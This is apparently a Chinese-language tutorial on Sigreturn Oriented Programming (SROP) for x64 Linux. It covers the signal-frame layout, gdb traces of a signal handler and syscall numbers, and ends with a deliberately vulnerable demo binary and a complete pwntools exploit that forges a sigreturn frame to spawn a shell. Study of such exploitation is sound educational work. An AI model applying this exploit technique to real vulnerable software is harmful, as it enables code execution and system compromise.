srop 利用方式

Sigreturn Oriented Programming,基于 signal mechanism 的内存溢出攻击

缺陷可利用:

  • 进程 context info 及 rt_sigreturn addr 保存在用户进程栈空间,用户进程可读写
  • 内核未判断之前保存的 signal frame 和 恢复时的 signal frame

那么利用思路就很很清晰了,只要控制了用户进程的栈空间,就可以伪造 signal frame ,劫持控制流

本文简单介绍 srop 中有关 signal 和 debugger signal , syscall 的要点,最后给出一个基于 srop 利用的 x64 simple demo。

Signal mechanism 下内核与进程的交互

在进程表的表项中有一个软中断信号域,该域中每一位对应一个信号,当有信号发送给进程时,对应位置位。

进程间的信号是通过内核来转发,A 进程 - 内核 - B 进程,当然进程自己也会触发信号。接下来的讨论是内核收到这个信号的处理流程。

Signal mechanism 下内核与进程的交互

如上图所述,大概分 4 部分:

  1. 内核向 B 进程 deliver a signal,该进程响应这个 signal ,暂时挂起 (suspend) , 控制权交给内核
  2. 内核为该进程保存相应的 context,跳转到之前注册好的 signal handle 中处理相应的 signal,此时在 user space
  3. 当 signal handle 返回之后,内核为该进程恢复保存的上下文
  4. 控制权交给 B 进程,恢复执行

Signal Frame: 即保存进程 context info 的栈内存空间,x64 布局如下:

Offset reg reg
0x00 rt_sigreturn uc_flags
0x10 &uc uc_stack.ss_sp
0x20 uc_stack.ss_flags uc_stack.ss_size
0x30 r8 r9
0x40 r10 r11
0x50 r12 r13
0x60 r14 r15
0x70 rdi rsi
0x80 rbp rbx
0x90 rdx rax
0xa0 rcx rsp
0xb0 rip eflags
0xc0 cs/gs/fs err
0xd0 trapno oldmask(unused)
0xe0 cr2(segfault addr) &fpstate
0xf0 __reserved sigmask

详解下第二步,内核会将进程的 context 保存在进程的内存空间栈上,然后在栈顶填上一个返回地址: ‘rt_sigreturn()’,这个函数地址指向的就是 ‘sigreturn’ 系统调用(15 号系统调用)。

Debugger signal and find signal frame struct

调试时,需要对 signal 处理进行设置

系统信号值可通过 kill -l 查阅:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ kill -l
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3
38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8
43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13
48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12
53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7
58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2
63) SIGRTMAX-1 64) SIGRTMAX

测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/*
# gcc -o debug_sig ./debug_sig.c -g
*/

#include <stdio.h>
#include <signal.h>

void handle_signal(int signum)
{
printf("handling signal: %d\n", signum);
}

int main(){
signal(SIGINT, (void *)handle_signal);
printf("catch me if you can\n");
while(1) {}
return 0;
}

/* struct definition for debugging purpose */
// struct sigcontext sigcontext;

结合代码 Linux source code about sigcontext struct:https://elixir.bootlin.com/linux/v4.6/source/arch/x86/include/uapi/asm/sigcontext.h

调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
gef> handle SIGINT pass nostop
Signal Stop Print Pass to program Description
SIGINT No Yes Yes Interrupt

gef> b handle_signal

gef> r
Starting program: ...
catch me if you can

Ctrl+C
Program received signal SIGINT, Interrupt.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax : 0x14
$rbx : 0x0
$rcx : 0x7fffff3f9b580x00000000084022100x0000000000000000
$rdx : 0x0
$rsp : 0x7ffffffedbb80x00007fffff093060 → <__restore_rt+0> mov rax, 0xf
$rbp : 0x7ffffffee2500x0000000008000790 → <__libc_csu_init+0> push r15
$rsi : 0x0
$rdi : 0x2
$rip : 0x8000740 → <handle_signal+0> push rbp
$r8 : 0x84020000x0000000000000000
$r9 : 0x0
$r10 : 0x7fffff3f9b580x00000000084022100x0000000000000000
$r11 : 0x7fffff3f9b580x00000000084022100x0000000000000000
$r12 : 0x8000610 → <_start+0> xor ebp, ebp
$r13 : 0x7ffffffee3300x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$ds: 0x0000 $es: 0x0000 $cs: 0x0033 $fs: 0x0000 $ss: 0x002b $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007ffffffedbb8│+0x00: 0x00007fffff093060 → <__restore_rt+0> mov rax, 0xf ← $rsp
0x00007ffffffedbc0│+0x08: 0x0000000000000000
0x00007ffffffedbc8│+0x10: 0x0000000000000000
0x00007ffffffedbd0│+0x18: 0x0000000000000000
0x00007ffffffedbd8│+0x20: 0x0000000000000000
0x00007ffffffedbe0│+0x28: 0x0000000000000000
0x00007ffffffedbe8│+0x30: 0x00000000084020000x0000000000000000
0x00007ffffffedbf0│+0x38: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x8000738 <frame_dummy+40> call rax
0x800073a <frame_dummy+42> pop rbp
0x800073b <frame_dummy+43> jmp 0x8000680 <register_tm_clones>
0x8000740 <handle_signal+0> push rbp
0x8000741 <handle_signal+1> mov rbp, rsp
0x8000744 <handle_signal+4> sub rsp, 0x10
0x8000748 <handle_signal+8> mov DWORD PTR [rbp-0x4], edi
0x800074b <handle_signal+11> mov eax, DWORD PTR [rbp-0x4]
0x800074e <handle_signal+14> mov esi, eax
──────────────────────────────────────────────────────────────────────────[ source:./debug_sig.c+9 ]────
4
5 #include <stdio.h>
6 #include <signal.h>
7
8 void handle_signal(int signum)
→ 9 {
10 printf("handling signal: %d\n", signum);
11 }
12
13 int main(){
14 signal(SIGINT, (void *)handle_signal);
─────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "debug_sig", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8000740 → Name: handle_signal(signum=0x0)
[#1] 0x7fffff093060 → Name: __restore_rt()
[#2] 0x8000785 → Name: main()
────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 3, handle_signal (signum=0x0) at ./debug_sig.c:9
9 {

gef➤ p (struct sigcontext)*(0x00007ffffffedbb8+0x30)
$5 = {
r8 = 0x8402000,
r9 = 0x0,
r10 = 0x7fffff3f9b58,
r11 = 0x7fffff3f9b58,
r12 = 0x8000610,
r13 = 0x7ffffffee330,
r14 = 0x0,
r15 = 0x0,
rdi = 0x0,
rsi = 0x8402010,
rbp = 0x7ffffffee250,
rbx = 0x0,
rdx = 0x7fffff3fb760,
rax = 0x14,
rcx = 0x7fffff3f9b58,
rsp = 0x7ffffffee250,
rip = 0x8000785,
eflags = 0x206,
cs = 0x33,
gs = 0x2b,
fs = 0x53,
__pad0 = 0x0,
err = 0x0,
trapno = 0x0,
oldmask = 0x0,
cr2 = 0x0,
{
fpstate = 0x0,
__fpstate_word = 0x0
},
__reserved1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
}

这里的寄存器值与当前上下文稍有出入,是因为调用 handler_signal() 函数传参等修改寄存器所致。

还可以观察 ucontext->uc_mcontext->greps 字段,这个也会与 sigcontext 结构体数据一致。也就是

1
gef> p (struct ucontext)*0x00007ffffffedbb8
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
gef> b *0x8000763
gef> c
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax : 0x13
$rbx : 0x0
$rcx : 0x7fffffed
$rdx : 0x7fffff3fb7600x0000000000000000
$rsp : 0x7ffffffedbb80x00007fffff093060 → <__restore_rt+0> mov rax, 0xf
$rbp : 0x7ffffffee2500x0000000008000790 → <__libc_csu_init+0> push r15
$rsi : 0x8402010"handling signal: 2"
$rdi : 0x0
$rip : 0x8000763 → <handle_signal+35> ret
$r8 : 0x1
$r9 : 0x13
$r10 : 0x64
$r11 : 0x64
$r12 : 0x8000610 → <_start+0> xor ebp, ebp
$r13 : 0x7ffffffee3300x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [carry parity adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]
$ds: 0x0000 $es: 0x0000 $cs: 0x0033 $fs: 0x0000 $ss: 0x002b $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007ffffffedbb8│+0x00: 0x00007fffff093060 → <__restore_rt+0> mov rax, 0xf ← $rsp
0x00007ffffffedbc0│+0x08: 0x0000000000000000
0x00007ffffffedbc8│+0x10: 0x0000000000000000
0x00007ffffffedbd0│+0x18: 0x0000000000000000
0x00007ffffffedbd8│+0x20: 0x0000000000000000
0x00007ffffffedbe0│+0x28: 0x0000000000000000
0x00007ffffffedbe8│+0x30: 0x00000000084020000x0000000000000000
0x00007ffffffedbf0│+0x38: 0x0000000000000000
────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]────
0x800075c <handle_signal+28> call 0x80005e0 <printf@plt>
0x8000761 <handle_signal+33> nop
0x8000762 <handle_signal+34> leave
0x8000763 <handle_signal+35> ret
0x7fffff093060 <__restore_rt+0> mov rax, 0xf
0x7fffff093067 <__restore_rt+7> syscall
0x7fffff093069 <__restore_rt+9> nop DWORD PTR [rax+0x0]
0x7fffff093070 <__libc_sigaction+0> sub rsp, 0xd0
0x7fffff093077 <__libc_sigaction+7> test rsi, rsi
0x7fffff09307a <__libc_sigaction+10> mov r8, rdx
─────────────────────────────────────────────────────────────────────────[ source:./debug_sig.c+11 ]────
6 #include <signal.h>
7
8 void handle_signal(int signum)
9 {
10 printf("handling signal: %d\n", signum);
11 }
12
13 int main(){
14 signal(SIGINT, (void *)handle_signal);
15 printf("catch me if you can\n");
16 while(1) {}
─────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "debug_sig", stopped, reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8000763 → Name: handle_signal(signum=0x2)
[#1] 0x7fffff093060 → Name: __restore_rt()
[#2] 0x8000785 → Name: main()
────────────────────────────────────────────────────────────────────────────────────────────────────────

Breakpoint 4, 0x0000000008000763 in handle_signal (signum=0x2) at ./debug_sig.c:11
11 }

可以看到信号处理函数返回时,调用 __restore_rt() ,也就是在调用 0xf 号系统调用( sigreturn )。

syscall 相关

主要在于寻找相关的 gadgets 和系统调用参数的传递及返回值

调用号通过 rax 传递

1
2
3
4
5
mov rax,0xf
ret
...
syscall
ret

syscall 调用成功后返回调用号,系统调用失败后值存入 rax,系统调用失败值参阅:http://www-numi.fnal.gov/offline_software/srt_public_context/WebDocs/Errors/unix_system_errors.html

以 x64 为例,系统调用号可查阅 inclde/generated/asm-offsets.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#define __NR_syscall_max 322

#ifndef _ASM_X86_UNISTD_64_H
#define _ASM_X86_UNISTD_64_H 1

#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
#define __NR_stat 4
#define __NR_fstat 5
#define __NR_lstat 6
#define __NR_poll 7
#define __NR_lseek 8
#define __NR_mmap 9
#define __NR_mprotect 10
#define __NR_munmap 11
...
#define __NR_fork 57
#define __NR_vfork 58
#define __NR_execve 59
#define __NR_exit 60
#define __NR_wait4 61
#define __NR_kill 62
...

x64simple demo

要点:

  • 利用 pwntools srop 可快速构造 fake signal frame
  • 精心布局栈空间,完成 sigreturn 的 rop 后紧跟 fake signal frame

示例代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/*
* just for srop simple:https://0x00sec.org/t/srop-signals-you-say/2890
* gcc -o x64simple ./x64simple.c -g -no-pie -z execstack
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>


void syscall_(){
__asm__("syscall; ret;");
}

void set_rax(){
__asm__("movl $0xf, %eax; ret;");
}



int main(){
// ONLY SROP!
char buff[100];
printf("Buff @%p, can you SROP?\n", buff);
read(0, buff, 5000);

return 0;
}


$ checksec ./x64simple
[*] './x64simple'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

这里为什么把保护全关呢。因为起初的利用思路是调用 mprotect 系统调用对栈内存属性改写,实现栈缓冲区可执行

然而在实践的过程问题却发现行不通:在 NX 的条件下,对栈缓冲区内存改写属性会失败。

1.定位崩溃点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$rax : 0x0
$rbx : 0x0
$rcx : 0x37b
$rdx : 0x1f4
$rsp : 0x7ffffffee238 -> "paaaaaaaqa"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x7ffffffee1c0 -> "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rdi : 0x0
$rip : 0x400599 -> <main+60> ret
$r8 : 0x1
$r9 : 0x24
$r10 : 0x37b
$r11 : 0x37b
$r12 : 0x400450 -> <_start+0> xor ebp, ebp
$r13 : 0x7ffffffee310 -> 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [CARRY PARITY adjust zero sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$fs: 0x0000 $gs: 0x0000 $ss: 0x002b $es: 0x0000 $ds: 0x0000 $cs: 0x0033
───────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0x00007ffffffee238|+0x00: "paaaaaaaqa" <- $rsp
0x00007ffffffee240|+0x08: 0x00000000000a6171 ("qa"?)
0x00007ffffffee248|+0x10: 0x00007ffffffee318 -> 0x00007ffffffee51f -> "./x64simple[...]"
0x00007ffffffee250|+0x18: 0x00000001ff1c12c8
0x00007ffffffee258|+0x20: 0x000000000040055d -> <main+0> push rbp
0x00007ffffffee260|+0x28: 0x0000000000000000
0x00007ffffffee268|+0x30: 0xec7013cae5dbabc5
0x00007ffffffee270|+0x38: 0x0000000000400450 -> <_start+0> xor ebp, ebp

通过 gdb 调试,rsp - rsi 得到 padding size == 120

2. 寻找 gadgets

利用ropper可搜寻到

1
2
syscall_addr = 0x40054a
mov_eax_15_ret = 0x400554

3.fake signal frame

调用 execve 系统调用,可直接使用 pwntools 中的 srop 框架

1
2
3
4
5
6
7
8
9
10
frame = SigreturnFrame()
# execve syscall number == 59
frame.rax = 59 # execve syscall number
frame.rdi = buff_addr
frame.rsi = 0
frame.rdx = 0
# signal frame size == 248
frame.rsp = buff_addr + len(payload) + 248
# SET RIP TO SYSCALL ADDRESS
frame.rip = syscall_ret

4.完整 exp 及 getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#-* coding:utf-8 *-


from pwn import *
# from Frame import SigreturnFrame

context.arch = "amd64"
# context.log_level = "DEBUG"

mov_eax_15_ret = 0x400554
syscall_ret = 0x40054a
main_addr = 0x400565

p = process("./x64simple")

# 1.leak buffer addr
p.recvuntil("Buff @0x")
buff_addr = int(p.recvuntil(",")[:-1],16)
print "buff addr:",hex(buff_addr)
p.recvuntil("\n")

binsh = "/bin/sh\x00"

payload = binsh + (120-len(binsh))*'\x90'
# why? sigreturn syscall number is 15,syscall arg by eax passed
payload += p64(mov_eax_15_ret) + p64(syscall_ret)

frame = SigreturnFrame() # CREATING A SIGRETURN FRAME
frame.rax = 59
frame.rdi = buff_addr
frame.rsi = 0
frame.rdx = 0
frame.rsp = buff_addr + len(payload) + 248 # WHERE 248 IS SIZE OF FAKE FRAME!
frame.rip = syscall_ret # SET RIP TO SYSCALL ADDRESS
# PLACE FAKE FRAME ON STACK
# payload += p64(main_addr) + str(frame)
payload += str(frame)
payload += p64(main_addr)

# wait for debuger
# pause()
p.sendline(payload)
# pause()

p.interactive()

...
$python ./pwn_x64simple.py
[+] Starting local process './x64simple': pid 13214
buff addr: 0x7ffeb5211770
[*] Switching to interactive mode
$ whoami
asan

Reference